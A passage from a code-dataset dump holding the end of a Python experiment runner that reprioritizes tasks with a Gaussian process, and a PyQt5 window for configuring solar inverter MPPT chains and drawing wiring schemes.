database: Dict[int, List], output_file=None):\n completed = [x[1:] for x in filter(lambda x: x[2] is not None, database.values())]\n uncompleted = [x[:2] for x in filter(lambda x: x[2] is None, database.values())]\n if len(uncompleted) > 0:\n gpr = Pipeline([('scale', MinMaxScaler(feature_range=(-1, 1))),\n ('gpr', GaussianProcessRegressor(normalize_y=True, kernel=kernels.RBF() * kernels.ConstantKernel()))\n ])\n # x[1] is input array\n # start_t, end_t, new_order = reprioritize_queue(completed, [x[1] for x in uncompleted], gpr=gpr)\n start_t, end_t, new_order = reprioritize_fx(fx, completed, [x[1] for x in uncompleted], gpr=gpr)\n\n fts = []\n priorities = []\n max_priority = len(uncompleted)\n for i, idx in enumerate(new_order):\n ft = uncompleted[idx][0]\n priority = max_priority - i\n fts.append(ft)\n priorities.append(priority)\n\n if output_file is not None:\n with open(output_file, 'a') as f_out:\n f_out.write(f'R START: {start_t}\\n')\n f_out.write(f'R END: {end_t}\\n')\n for i, ft in enumerate(fts):\n f_out.write(f'P UPDATE: {ft.eq_task_id} {ft.priority} {priorities[i]}\\n')\n\n task_queue.update_priorities(fts, priorities)\n\n\ndef submit_initial_tasks(task_queue, exp_id, params: Dict):\n search_space_size = params['search_space_size']\n dim = params['sample_dimensions']\n sampled_space = np.random.uniform(size=(search_space_size, dim), low=-32.768, high=32.768)\n\n task_type = 0\n mean_rt = params['runtime']\n std_rt = params['runtime_var']\n\n payloads = []\n for sample in sampled_space:\n payload = json.dumps({'x': list(sample), 'mean_rt': mean_rt, 'std_rt': std_rt})\n payloads.append(payload)\n fts = task_queue.submit_tasks(exp_id, eq_type=task_type, payload=payloads)\n\n database = {}\n for i, ft in enumerate(fts):\n database[ft.eq_task_id] = [ft, sampled_space[i], None]\n\n return database\n\n\ndef run(exp_id, params: Dict):\n output_file = f'./output/{exp_id}_output.txt'\n # To avoid errors in finally\n task_queues = pools = dbs = fx_executors = {}\n try:\n fx_endpoints, db_names, pool_names = lifecycle.find_active_elements(params)\n repro_endpoint = params['reprioritize_endpoint']\n if repro_endpoint not in fx_endpoints:\n fx_endpoints.append(repro_endpoint)\n\n fx_executors = lifecycle.initialize_fx_endpoints(fx_endpoints, params)\n dbs = lifecycle.initialize_dbs(db_names, fx_executors, params)\n task_queues = lifecycle.initialize_task_queues(fx_executors, dbs, params)\n task_queue = task_queues['sim']\n database = submit_initial_tasks(task_queue, exp_id, params)\n # launch after submitting so pool has full data\n pools = lifecycle.initialize_worker_pools(exp_id, pool_names, fx_executors,\n dbs, params)\n lifecycle.initialize_proxystore(params)\n\n num_guesses = params['num_guesses']\n retrain_after = params['retrain_after']\n # next_retrain = retrain_after\n tasks_completed = 0\n fts = [v[0] for _, v in database.items()]\n print(f'NUM GUESSES: {num_guesses}')\n print(f'RETRAIN AFTER: {retrain_after}')\n print(f'FTS: {len(fts)}')\n num_repro = 0\n while tasks_completed < num_guesses:\n completed_fts = task_queue.pop_completed(fts, n=retrain_after)\n for ft in completed_fts:\n _, result = ft.result()\n database[ft.eq_task_id][2] = float(result)\n tasks_completed += 1\n\n print(f\"tasks completed: {tasks_completed}\")\n reprioritize(task_queue, fx_executors[repro_endpoint], database, output_file=output_file)\n num_repro += 1\n if num_repro == 2:\n # pool_names = 'bebop2', add 'bebop2' to params with params['tasks'][0]['pools'].append()\n params['tasks'][0]['pools'].append('bebop2')\n p = lifecycle.initialize_worker_pools(exp_id, ['bebop2'], fx_executors,\n dbs, params)\n pools.update(p)\n print(pools)\n elif num_repro == 4:\n params['tasks'][0]['pools'].append('bebop3')\n p = lifecycle.initialize_worker_pools(exp_id, ['bebop3'], fx_executors,\n dbs, params)\n pools.update(p)\n\n finally:\n for task_queue in task_queues.values():\n task_queue.shutdown()\n for db in dbs.values():\n db.shutdown()\n for pool in pools.values():\n pool.shutdown()\n for fx in fx_executors.values():\n fx.shutdown()\n\n\ndef create_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('exp_id', help='experiment id')\n parser.add_argument('config_file', help=\"yaml format configuration file\")\n return parser\n\n\nif __name__ == '__main__':\n parser = create_parser()\n args = parser.parse_args()\n with open(args.config_file) as fin:\n params = yaml.safe_load(fin)\n\n # launch.launch_dbs(params)\n # launch.launch_worker_pools(args.exp_id, params)\n # launch.stop_dbs(params)\n\n run(args.exp_id, params)\n","repo_name":"NSF-RESUME/2023_ParSocial_OSPREY_example","sub_path":"python/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":7450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"73177888254","text":"import os\r\nfrom views import designDrawSchemes, styles_and_animation\r\nfrom helpers import validate\r\nfrom creators import draw_schemes\r\nfrom os.path import isfile, join\r\nfrom PyQt5 import QtWidgets\r\nfrom PyQt5.QtGui import QIcon, QTextCursor\r\nfrom PyQt5.QtCore import QSize, QTimer, QThread, pyqtSignal\r\n\r\nclass DrawOne(QThread):\r\n change_value = pyqtSignal(str)\r\n def __init__(self, draw_params, gost_frame_params, many_schemes):\r\n super().__init__()\r\n self.draw_params = draw_params\r\n self.many_schemes = many_schemes\r\n self.gost_frame_params = gost_frame_params\r\n self.modules = 0\r\n self.chains = 0\r\n\r\n def run(self):\r\n fp_invertor = 'Data/Schemes/Invertor/'\r\n files_in_invertor = [f for f in os.listdir(fp_invertor) if isfile(join(fp_invertor, f))]\r\n try:\r\n if len(files_in_invertor) != 0:\r\n for file in files_in_invertor:\r\n os.remove(fp_invertor + f\"/{file}\")\r\n except PermissionError:\r\n self.statusBar.showMessage('Открыт pdf файл, закройте его и повторите попытку', 4000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n QTimer.singleShot(4000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n return 1 \r\n\r\n config_keys = [] \r\n for key in self.draw_params.keys():\r\n if 'inv_' in key:\r\n config_keys.append(key)\r\n\r\n numbr = 0\r\n for config in config_keys:\r\n counts = int(self.draw_params[config]['count'])\r\n if self.many_schemes == True:\r\n for num in range(counts):\r\n numbr += 1\r\n self.num_error = draw_schemes.draw(self.draw_params, numbr, self.gost_frame_params, config)\r\n if self.num_error['error'] != 0: return \r\n self.modules += self.num_error['modules']\r\n self.chains += self.num_error['chains']\r\n self.change_value.emit(f\"{numbr} из {self.draw_params['count_invertor']}\")\r\n else:\r\n start_num = numbr\r\n numbr += counts\r\n if counts > 1:\r\n if start_num == 0:\r\n nums = f\"{1}-{numbr}\"\r\n else:\r\n nums = f\"{start_num}-{numbr}\"\r\n else:\r\n nums = numbr\r\n \r\n self.num_error = draw_schemes.draw(self.draw_params, nums, self.gost_frame_params, config)\r\n if self.num_error['error'] != 0: return \r\n self.modules += self.num_error['modules'] * counts\r\n self.chains += self.num_error['chains'] * counts\r\n self.change_value.emit(f\"{numbr} из {self.draw_params['count_invertor']}\")\r\n\r\nclass WindowDraw(QtWidgets.QMainWindow, designDrawSchemes.Ui_WindowDrawSchemes):\r\n def __init__(self, instance_of_main_window):\r\n super().__init__()\r\n self.setupUi(self)\r\n self.input_data()\r\n validate.validate_number(self.fields_text)\r\n self.main_window = instance_of_main_window\r\n self.btnDraw.clicked.connect(self.draw)\r\n self.btnOpenScheme.clicked.connect(self.open_scheme)\r\n self.btnAddConfigInvertor.clicked.connect(self.add_invertor)\r\n self.btnDelConfigInvertor.clicked.connect(self.del_invertor)\r\n self.btnAddMPPT.clicked.connect(self.add_config)\r\n self.btnDelMPPT.clicked.connect(self.del_config)\r\n self.btnUpdateConsole.clicked.connect(self.update_console)\r\n self.btnSaveConfig.clicked.connect(self.save_config)\r\n self.checkUse_5or4_line.clicked.connect(self.show_and_hide_color_line_because_phase)\r\n self.inputCount_mppt.textChanged.connect(self.validate_input)\r\n self.inputAll_chain.textChanged.connect(self.validate_input)\r\n self.inputCount_input_mppt.textChanged.connect(self.validate_input)\r\n self.checkUse_three_phase.stateChanged.connect(self.show_and_hide_color_line_because_phase)\r\n self.checkUse_y_connector.stateChanged.connect(self.validate_input)\r\n self.checkUse_all_mppt.stateChanged.connect(self.validate_input)\r\n self.spinBox_maxY.valueChanged.connect(self.validate_input)\r\n self.spinBox_numInvertor.valueChanged.connect(self.up_down_invertor_selection)\r\n self.spinBoxConfigInvertor.valueChanged.connect(self.spin_config)\r\n self.spinBoxMPPT.valueChanged.connect(self.spin_config)\r\n self.checkDifferentMPPT.stateChanged.connect(self.show_and_hide_spinBox_mppt)\r\n\r\n def input_data(self):\r\n self.spinBox_numInvertor.setMinimum(1)\r\n self.spinBox_numInvertor.setEnabled(False)\r\n self.spinBoxConfigInvertor.setMinimum(1)\r\n self.spinBoxConfigInvertor.setMaximum(1)\r\n self.spinBoxMPPT.setMinimum(1)\r\n self.spinBoxMPPT.setMaximum(1)\r\n self.btnOpenScheme.hide()\r\n self.btnDelConfigInvertor.hide()\r\n self.btnDelMPPT.hide()\r\n self.progressBar.hide()\r\n self.spinBox_CloneInvertor.setMinimum(1)\r\n self.show_and_hide_color_line_because_phase()\r\n self.show_and_hide_spinBox_mppt()\r\n self.btnSaveConfig.setIcon(QIcon('Data/System/Icons/save.png'))\r\n self.btnSaveConfig.setIconSize(QSize(30, 30))\r\n self.draw_params = {}\r\n self.fields_text = [self.inputCount_mppt, self.inputCount_input_mppt, self.inputSolar_count_on_the_chain, self.inputAll_chain]\r\n\r\n def open_scheme(self):\r\n self.path_structural_schemes = [QtWidgets.QFileDialog.getOpenFileName(self, 'Выберите файл структурной схемы', \r\n 'Data/Schemes/Invertor', \"*.pdf\")[0]]\r\n if len(self.path_structural_schemes[0]) != 0:\r\n os.startfile(self.path_structural_schemes[0])\r\n\r\n def reset(self):\r\n self.inputCount_mppt.clear()\r\n self.inputCount_input_mppt.clear()\r\n self.inputSolar_count_on_the_chain.clear()\r\n self.inputAll_chain.clear()\r\n self.checkUse_y_connector.setCheckState(0)\r\n self.checkUse_all_mppt.setCheckState(0)\r\n self.checkUse_three_phase.setCheckState(0)\r\n self.checkUse_5or4_line.setCheckState(0)\r\n self.checkUse_5or4_line.setEnabled(False)\r\n self.textConsoleDraw.clear()\r\n self.textConsoleCurrent.clear()\r\n self.spinBox_numInvertor.setValue(1)\r\n self.spinBox_numInvertor.setEnabled(False)\r\n self.spinBoxConfigInvertor.setMinimum(1)\r\n self.spinBoxConfigInvertor.setMaximum(1)\r\n self.spinBox_CloneInvertor.setValue(1)\r\n self.btnOpenScheme.hide()\r\n self.inputName_invertor.clear()\r\n self.inputNumber_invertor.clear()\r\n self.inputTitle_grid_line.clear()\r\n self.inputTitle_grid_line_length.clear()\r\n self.inputTitle_grid_top.clear()\r\n self.inputTitle_grid_switch.clear()\r\n self.inputCountAllInvertors.clear()\r\n\r\n def invertor_and_config_keys(self):\r\n invertors = self.main_window.invertors\r\n self.spinBox_numInvertor.setMaximum(len(invertors))\r\n self.spinBox_numInvertor.setEnabled(True)\r\n\r\n spinbox_val = self.spinBox_numInvertor.value() - 1\r\n self.invertor = invertors[f'found_invertor_{spinbox_val}']\r\n\r\n self.config_keys = []\r\n for key in self.invertor.keys():\r\n if 'inv_' in key:\r\n self.config_keys.append(key) \r\n self.spinBoxConfigInvertor.setMaximum(len(self.config_keys))\r\n\r\n def up_down_invertor_selection(self):\r\n self.invertor_and_config_keys()\r\n if self.invertor['broken_file'] != True:\r\n self.inputName_invertor.setText(f'{self.invertor[\"module\"]}')\r\n self.inputName_invertor.setCursorPosition(0)\r\n self.inputCount_mppt.setText(f'{self.invertor[\"mppt\"]}')\r\n self.inputCountMpptOnParams.setText(f'{self.invertor[\"mppt\"]}')\r\n self.inputCount_input_mppt.setText(f'{self.invertor[\"inputs\"]}')\r\n self.inputSolar_count_on_the_chain.setText(str(0))\r\n self.inputAll_chain.setText(str(0))\r\n self.spinBox_maxY.setMinimum(self.invertor['inputs'])\r\n self.spinBox_maxY.setMaximum(self.invertor['inputs'] * 2)\r\n self.spinBox_maxY.setValue(self.invertor['inputs'] * 2)\r\n if self.invertor['phase'] == 3:\r\n self.checkUse_three_phase.setCheckState(2)\r\n elif self.invertor['phase'] == 1:\r\n self.checkUse_three_phase.setCheckState(0)\r\n self.inputNumber_invertor.setText(f\"{self.invertor['type_inv']}\")\r\n self.inputTitle_grid_line.setText(f\"{self.invertor['title_grid_line']}\")\r\n self.inputTitle_grid_line_length.setText(f\"{self.invertor['title_grid_line_length']}\")\r\n self.inputTitle_grid_top.setText(f\"{self.invertor['title_grid_top']}\")\r\n self.inputTitle_grid_switch.setText(f\"{self.invertor['title_grid_switch']}\")\r\n self.checkUse_5or4_line.setCheckState(2 if self.invertor['use_5or4_line'] == True else 0) \r\n self.inputCountAllInvertors.setText(f\"{int(self.invertor['count_invertor'])}\")\r\n self.spin_config()\r\n self.draw_invertor_config_in_console()\r\n # self.show_and_hide_different_mppt(False)\r\n\r\n def spin_config(self):\r\n if len(self.config_keys) != 0:\r\n if len(self.config_keys) > 1:\r\n self.btnDelConfigInvertor.show()\r\n else:\r\n self.btnDelConfigInvertor.hide()\r\n self.spinBoxConfigInvertor.show()\r\n\r\n config_index = self.spinBoxConfigInvertor.value() - 1\r\n # print(invertor[config_keys[config_index]])\r\n count_params = len(self.invertor[self.config_keys[config_index]]['params'])\r\n diff_index = 0\r\n self.checkDifferentMPPT.setCheckState(0)\r\n if count_params > 1:\r\n self.btnDelMPPT.show()\r\n self.spinBoxMPPT.show()\r\n self.spinBoxMPPT.setMaximum(count_params)\r\n diff_index = self.spinBoxMPPT.value() - 1\r\n self.checkDifferentMPPT.setCheckState(2)\r\n else:\r\n self.btnDelMPPT.hide()\r\n self.spinBoxMPPT.setMaximum(1)\r\n\r\n max_y = self.invertor[self.config_keys[config_index]]['params'][diff_index]['max_y']\r\n self.spinBox_maxY.setValue(max_y)\r\n self.spinBox_CloneInvertor.setValue(int(self.invertor[self.config_keys[config_index]]['count']))\r\n self.inputSolar_count_on_the_chain.setText(str(self.invertor[self.config_keys[config_index]]['params'][diff_index]['pvs']))\r\n self.inputCount_mppt.setText(str(self.invertor[self.config_keys[config_index]]['params'][diff_index]['mppts']))\r\n self.inputAll_chain.setText(str(int(self.invertor[self.config_keys[config_index]]['params'][diff_index]['chains'])))\r\n self.checkUse_y_connector.setCheckState(2 if self.invertor[self.config_keys[config_index]]['params'][diff_index]['y'] == True else 0)\r\n self.validate_input()\r\n \r\n def draw_invertor_config_in_console(self):\r\n self.textConsoleDraw.clear()\r\n self.textConsoleDraw.moveCursor(QTextCursor.Start)\r\n total_pvs = 0\r\n for index in range(len(self.config_keys)):\r\n count_inv = int(self.invertor[self.config_keys[index]]['count'])\r\n self.textConsoleDraw.append(f\" {index + 1} КОНФИГУРАЦИЯ {count_inv} ИНВ. \")\r\n count_params = len(self.invertor[self.config_keys[index]]['params'])\r\n pvs_on_conf = 0\r\n for i in range(count_params):\r\n pvs = self.invertor[self.config_keys[index]]['params'][i]['pvs']\r\n chains = self.invertor[self.config_keys[index]]['params'][i]['chains']\r\n y = '| Y' if self.invertor[self.config_keys[index]]['params'][i]['y'] == True else ''\r\n self.textConsoleDraw.append(f\" {self.invertor[self.config_keys[index]]['params'][i]['mppts']} MPPT | {chains} цеп. | {pvs} ФЭМ {y} \")\r\n pvs_on_conf += pvs * chains\r\n total_pvs += pvs_on_conf * count_inv\r\n self.textConsoleDraw.append(f\" ИТОГО\")\r\n self.textConsoleDraw.append(f\" {int(self.invertor['count_invertor'])} Инверторов\")\r\n self.textConsoleDraw.append(f\" {int(total_pvs)} ФЭМ\")\r\n\r\n def show_and_hide_color_line_because_phase(self):\r\n if self.checkUse_three_phase.isChecked():\r\n self.checkUse_5or4_line.setEnabled(True)\r\n else:\r\n self.checkUse_5or4_line.setEnabled(False)\r\n self.checkUse_5or4_line.setCheckState(0)\r\n\r\n def show_and_hide_spinBox_mppt(self):\r\n if self.checkDifferentMPPT.isChecked():\r\n self.spinBoxMPPT.setEnabled(True)\r\n self.btnAddMPPT.setEnabled(True)\r\n self.btnDelMPPT.setEnabled(True)\r\n else:\r\n self.spinBoxMPPT.setEnabled(False)\r\n self.btnAddMPPT.setEnabled(False)\r\n self.btnDelMPPT.setEnabled(False)\r\n\r\n def validate_input(self): #валидация вводимых данных\r\n false_value = ['Н/Д', '']\r\n self.opacity_effect = QtWidgets.QGraphicsOpacityEffect()\r\n self.opacity_effect.setOpacity(0.6)\r\n config_index = self.spinBoxConfigInvertor.value() - 1\r\n diff_index = self.spinBoxMPPT.value() - 1\r\n use_all_mppt = True if self.checkUse_all_mppt.isChecked() else False\r\n use_y_connector = True if self.checkUse_y_connector.isChecked() else False \r\n \r\n if not self.inputCount_mppt.text() in false_value and not self.inputCount_input_mppt.text() in false_value:\r\n count_input_mppt = int(self.inputCount_input_mppt.text())\r\n self.count_mppt = int(self.inputCount_mppt.text()) \r\n self.textConsoleCurrent.clear() \r\n max_y = self.spinBox_maxY.value() \r\n max_input = count_input_mppt * self.count_mppt\r\n max_input_y = max_y * self.count_mppt\r\n self.textConsoleCurrent.append(f\"Макс. кол-во входов без Y коннектора: {max_input}\")\r\n self.textConsoleCurrent.append(f\"Макс. кол-во входов c Y коннектором: {max_input_y}\")\r\n total_mppts = 0\r\n if len(self.config_keys) != 0:\r\n count_params = len(self.invertor[self.config_keys[config_index]]['params'])\r\n for i in range(count_params):\r\n total_mppts += self.invertor[self.config_keys[config_index]]['params'][i]['mppts']\r\n total_mppts -= self.invertor[self.config_keys[config_index]]['params'][diff_index]['mppts']\r\n total_mppts += self.count_mppt\r\n \r\n if not self.inputAll_chain.text() in false_value:\r\n self.all_chain = int(self.inputAll_chain.text())\r\n if self.all_chain < self.count_mppt and use_all_mppt == True:\r\n # self.textConsoleCurrent.append(\"\")\r\n self.textConsoleCurrent.append(\"ПРЕДУПРЕЖДЕНИЕ:\")\r\n self.textConsoleCurrent.append(\"Невозможно распределить по всем MPPT\")\r\n self.textConsoleCurrent.append(\"РЕШЕНИЕ: Увеличьте кол-во цепочек\")\r\n self.btnDraw.setEnabled(False)\r\n self.btnSaveConfig.setEnabled(False)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect)\r\n elif self.all_chain > max_input and use_y_connector == False:\r\n # self.textConsoleCurrent.append(\"\")\r\n self.textConsoleCurrent.append(\"ПРЕДУПРЕЖДЕНИЕ:\")\r\n self.textConsoleCurrent.append(\"Кол-во цепочек не вмещается\")\r\n self.textConsoleCurrent.append(\"РЕШЕНИЕ: примените Y коннекторы / уменьшите кол-во цепочек\")\r\n self.btnDraw.setEnabled(False)\r\n self.btnSaveConfig.setEnabled(False)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect)\r\n elif self.all_chain <= max_input and use_y_connector == True and use_all_mppt == True:\r\n # self.textConsoleCurrent.append(\"\")\r\n self.textConsoleCurrent.append(\"ПРЕДУПРЕЖДЕНИЕ:\")\r\n self.textConsoleCurrent.append(\"Кол-во цепочек слишком мало, чтобы распределить по всем MPPT с Y коннекторами\")\r\n self.textConsoleCurrent.append(\"РЕШЕНИЕ: уберите Y коннекторы\")\r\n self.btnDraw.setEnabled(False)\r\n self.btnSaveConfig.setEnabled(False)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect)\r\n elif self.all_chain > max_input_y:\r\n # self.textConsoleCurrent.append(\"\")\r\n self.textConsoleCurrent.append(\"ПРЕДУПРЕЖДЕНИЕ:\")\r\n self.textConsoleCurrent.append(\"Кол-во цепочек слишком большое для данной конфигурации\")\r\n self.textConsoleCurrent.append(\"РЕШЕНИЕ: уменьшите кол-во цепочек / измените конфигурацию\")\r\n self.btnDraw.setEnabled(False)\r\n self.btnSaveConfig.setEnabled(False)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect)\r\n elif total_mppts > self.invertor[\"mppt\"]:\r\n self.textConsoleCurrent.append(\"ПРЕДУПРЕЖДЕНИЕ:\")\r\n self.textConsoleCurrent.append(\"Кол-во MPPT выходит за рамки параметров инвертора\")\r\n self.btnDraw.setEnabled(False)\r\n self.btnSaveConfig.setEnabled(False)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect)\r\n else:\r\n self.btnDraw.setEnabled(True)\r\n self.btnSaveConfig.setEnabled(True)\r\n self.btnDraw.setGraphicsEffect(self.opacity_effect.setOpacity(1))\r\n return 0\r\n else:\r\n self.textConsoleCurrent.clear() \r\n \r\n def check_imput_params(self):\r\n self.set_style_default()\r\n if self.inputCount_mppt.text() == '':\r\n styles_and_animation.no_fill_field(self, self.inputCount_mppt)\r\n return 1\r\n elif self.inputCount_input_mppt.text() == '':\r\n styles_and_animation.no_fill_field(self, self.inputCount_input_mppt)\r\n return 1\r\n elif self.inputSolar_count_on_the_chain.text() == '':\r\n styles_and_animation.no_fill_field(self, self.inputSolar_count_on_the_chain)\r\n return 1\r\n elif self.inputAll_chain.text() == '':\r\n styles_and_animation.no_fill_field(self, self.inputAll_chain)\r\n return 1\r\n else:\r\n return 0\r\n\r\n def set_style_default(self):\r\n self.inputCount_mppt.setStyleSheet(styles_and_animation.default_style_input)\r\n self.inputCount_input_mppt.setStyleSheet(styles_and_animation.default_style_input)\r\n self.inputSolar_count_on_the_chain.setStyleSheet(styles_and_animation.default_style_input)\r\n self.inputAll_chain.setStyleSheet(styles_and_animation.default_style_input)\r\n\r\n self.statusBar.setStyleSheet(styles_and_animation.status_white)\r\n self.statusBar.showMessage('', 100)\r\n\r\n def show_and_hide_different_mppt(self, status):\r\n if status == True:\r\n self.spinBoxConfigInvertor.show()\r\n if self.spinBoxConfigInvertor.value() > 1:\r\n self.btnDelConfigInvertor.show()\r\n else:\r\n self.btnDelConfigInvertor.hide()\r\n else:\r\n self.spinBoxConfigInvertor.hide()\r\n self.btnDelConfigInvertor.hide()\r\n\r\n def update_console(self):\r\n self.textConsoleDraw.clear()\r\n\r\n def update_total_count_invertors(self):\r\n count_invertor = 0\r\n for key in self.config_keys:\r\n count_invertor += int(self.invertor[key]['count'])\r\n self.invertor['count_invertor'] = int(count_invertor)\r\n self.main_window.w4.up_down_invertor_selection()\r\n self.inputCountAllInvertors.setText(f\"{int(self.invertor['count_invertor'])}\")\r\n\r\n def save_config(self):\r\n if self.check_imput_params() != 0:\r\n return 1\r\n config_index = self.spinBoxConfigInvertor.value() - 1\r\n diff_index = self.spinBoxMPPT.value() - 1\r\n\r\n self.invertor['module'] = str(self.inputName_invertor.text())\r\n self.invertor['type_inv'] = str(self.inputNumber_invertor.text())\r\n self.invertor['title_grid_line'] = str(self.inputTitle_grid_line.text())\r\n self.invertor['title_grid_line_length'] = str(self.inputTitle_grid_line_length.text())\r\n self.invertor['title_grid_top'] = str(self.inputTitle_grid_top.text())\r\n self.invertor['title_grid_switch'] = str(self.inputTitle_grid_switch.text())\r\n self.invertor['phase'] = 3 if self.checkUse_three_phase.isChecked() else 1\r\n self.invertor['use_5or4_line'] = True if self.checkUse_5or4_line.isChecked() else False\r\n self.invertor['inputs'] = int(self.inputCount_input_mppt.text())\r\n \r\n if not self.config_keys:\r\n self.add_invertor()\r\n else:\r\n self.invertor[self.config_keys[config_index]]['count'] = self.spinBox_CloneInvertor.value()\r\n self.invertor[self.config_keys[config_index]]['params'][diff_index]['mppts'] = int(self.inputCount_mppt.text())\r\n self.invertor[self.config_keys[config_index]]['params'][diff_index]['chains'] = int(self.inputAll_chain.text())\r\n self.invertor[self.config_keys[config_index]]['params'][diff_index]['pvs'] = int(self.inputSolar_count_on_the_chain.text())\r\n self.invertor[self.config_keys[config_index]]['params'][diff_index]['y'] = True if self.checkUse_y_connector.isChecked() else False\r\n self.invertor[self.config_keys[config_index]]['params'][diff_index]['max_y'] = self.spinBox_maxY.value()\r\n \r\n total_chains = 0\r\n count_params = len(self.invertor[self.config_keys[config_index]]['params'])\r\n for i in range(count_params):\r\n total_chains += self.invertor[self.config_keys[config_index]]['params'][i]['chains']\r\n self.invertor[self.config_keys[config_index]]['total_chains'] = int(total_chains)\r\n self.update_total_count_invertors()\r\n \r\n self.main_window.w6.up_down_invertor_selection()\r\n self.up_down_invertor_selection()\r\n self.statusBar.showMessage('Параметры сохранены', 2000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_green)\r\n QTimer.singleShot(2000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n\r\n def add_invertor(self):\r\n if self.check_imput_params() != 0:\r\n return 1\r\n mppts = int(self.inputCount_mppt.text())\r\n count_inv = int(self.spinBox_CloneInvertor.value())\r\n pvs = int(self.inputSolar_count_on_the_chain.text())\r\n chains = int(self.inputAll_chain.text())\r\n y_connector = True if self.checkUse_y_connector.isChecked() else False\r\n max_y = self.spinBox_maxY.value()\r\n\r\n if not self.config_keys:\r\n name = 'inv_0'\r\n else:\r\n name = f'inv_{len(self.config_keys)}'\r\n\r\n self.invertor[name] = {'controller': False, 'commutator': False, 'left_yzip': False, 'right_yzip': False, \r\n 'title_other_device': 'УЗИП', 'count': count_inv, 'total_chains': chains, \r\n 'params': [{'mppts': mppts, 'chains': chains, 'pvs': pvs, 'count': 'piece', 'y': y_connector, 'max_y': max_y}]}\r\n\r\n self.invertor_and_config_keys()\r\n self.update_total_count_invertors()\r\n self.draw_invertor_config_in_console()\r\n self.spinBoxConfigInvertor.setValue(len(self.config_keys))\r\n\r\n def del_invertor(self):\r\n current_config_index = self.spinBoxConfigInvertor.value() - 1\r\n del self.invertor[self.config_keys[current_config_index]]\r\n self.invertor_and_config_keys()\r\n index = 0\r\n for key in self.config_keys:\r\n self.invertor[f'inv_{index}'] = self.invertor.pop(key)\r\n index += 1\r\n self.invertor_and_config_keys()\r\n self.update_total_count_invertors()\r\n self.draw_invertor_config_in_console()\r\n self.spin_config()\r\n\r\n def add_config(self):\r\n if self.check_imput_params() != 0:\r\n return 1\r\n current_config_index = self.spinBoxConfigInvertor.value() - 1\r\n mppts = int(self.inputCount_mppt.text())\r\n pvs = int(self.inputSolar_count_on_the_chain.text())\r\n chains = int(self.inputAll_chain.text())\r\n y_connector = True if self.checkUse_y_connector.isChecked() else False\r\n max_y = self.spinBox_maxY.value()\r\n\r\n current_params = self.invertor[self.config_keys[current_config_index]]['params']\r\n current_params.append({'mppts': mppts, 'chains': chains, 'pvs': pvs, 'count': 'piece', 'y': y_connector, 'max_y': max_y})\r\n self.draw_invertor_config_in_console()\r\n self.spin_config()\r\n self.spinBoxMPPT.setValue(len(current_params))\r\n\r\n def del_config(self):\r\n current_config_index = self.spinBoxConfigInvertor.value() - 1\r\n diff_index = self.spinBoxMPPT.value() - 1\r\n del self.invertor[self.config_keys[current_config_index]]['params'][diff_index]\r\n self.draw_invertor_config_in_console()\r\n self.spin_config()\r\n\r\n def out_params(self):\r\n title_project = self.main_window.inputTitleProject.text()\r\n code_project = self.main_window.inputCodeProject.text() \r\n code_project = self.main_window.inputCodeProject.text() \r\n self.many_schemes = True if self.checkManySchemes.isChecked() else False\r\n \r\n self.gost_frame_params = {'title_project': title_project, 'code_project': code_project}\r\n \r\n def draw(self):\r\n try:\r\n fp_invertors = \"Data/Schemes/Invertor\"\r\n files_invertors = [f for f in os.listdir(fp_invertors) if isfile(join(fp_invertors, f))]\r\n if len(files_invertors) != 0:\r\n for i in range(len(files_invertors)):\r\n with open(fp_invertors + f\"/{files_invertors[i]}\", 'w') as image_fd: \r\n pass\r\n except PermissionError:\r\n self.statusBar.showMessage('Открыт pdf файл схемы, перед построением закройте его и повторите попытку', 4000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n QTimer.singleShot(4000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n return\r\n \r\n if not self.config_keys:\r\n self.statusBar.showMessage('Суохраните параметры', 2000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_yellow)\r\n QTimer.singleShot(2000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n return \r\n \r\n\r\n for num in range(1, len(self.config_keys)):\r\n self.spinBoxConfigInvertor.setValue(num)\r\n self.spin_config()\r\n if self.validate_input() != 0:\r\n self.statusBar.showMessage('Неверная конфигурация MPPT', 4000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_yellow)\r\n QTimer.singleShot(4000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n return\r\n \r\n self.out_params()\r\n\r\n self.btnOpenScheme.hide()\r\n self.btnDraw.setEnabled(False)\r\n self.btnDraw.setText(f\"Cоздано 0 из {self.invertor['count_invertor']}\")\r\n self.progressBar.show()\r\n self.progressBar.setMaximum(int(self.invertor['count_invertor']))\r\n self.progressBar.setValue(0)\r\n \r\n self.painter_draw_one = DrawOne(self.invertor, self.gost_frame_params, self.many_schemes)\r\n self.painter_draw_one.change_value.connect(self.setProgressVal)\r\n self.painter_draw_one.finished.connect(self.drawFinished)\r\n self.painter_draw_one.start()\r\n\r\n def setProgressVal(self, val):\r\n self.progressBar.setValue(int(val.split(' ')[0]))\r\n self.btnDraw.setText(f\"Cоздано {val}\")\r\n\r\n def drawFinished(self):\r\n if hasattr(self.painter_draw_one, 'num_error'):\r\n if self.painter_draw_one.num_error['error'] == 0:\r\n self.textConsoleDraw.append(\"----------------------------\")\r\n self.textConsoleDraw.append(\"РЕЗУЛЬТАТЫ:\")\r\n self.textConsoleDraw.append(f\" Всего цепочек: {self.painter_draw_one.chains}\")\r\n self.textConsoleDraw.append(f\" Всего модулей: {self.painter_draw_one.modules}\")\r\n self.statusBar.showMessage('Формирование схем завершено успешно', 6000)\r\n self.statusBar.setStyleSheet(styles_and_animation.status_green)\r\n QTimer.singleShot(6000, lambda: self.statusBar.setStyleSheet(styles_and_animation.status_white))\r\n self.btnOpenScheme.show()\r\n elif self.painter_draw_one.num_error['error'] == 1:\r\n self.textConsoleDraw.append(\"!!!\")\r\n 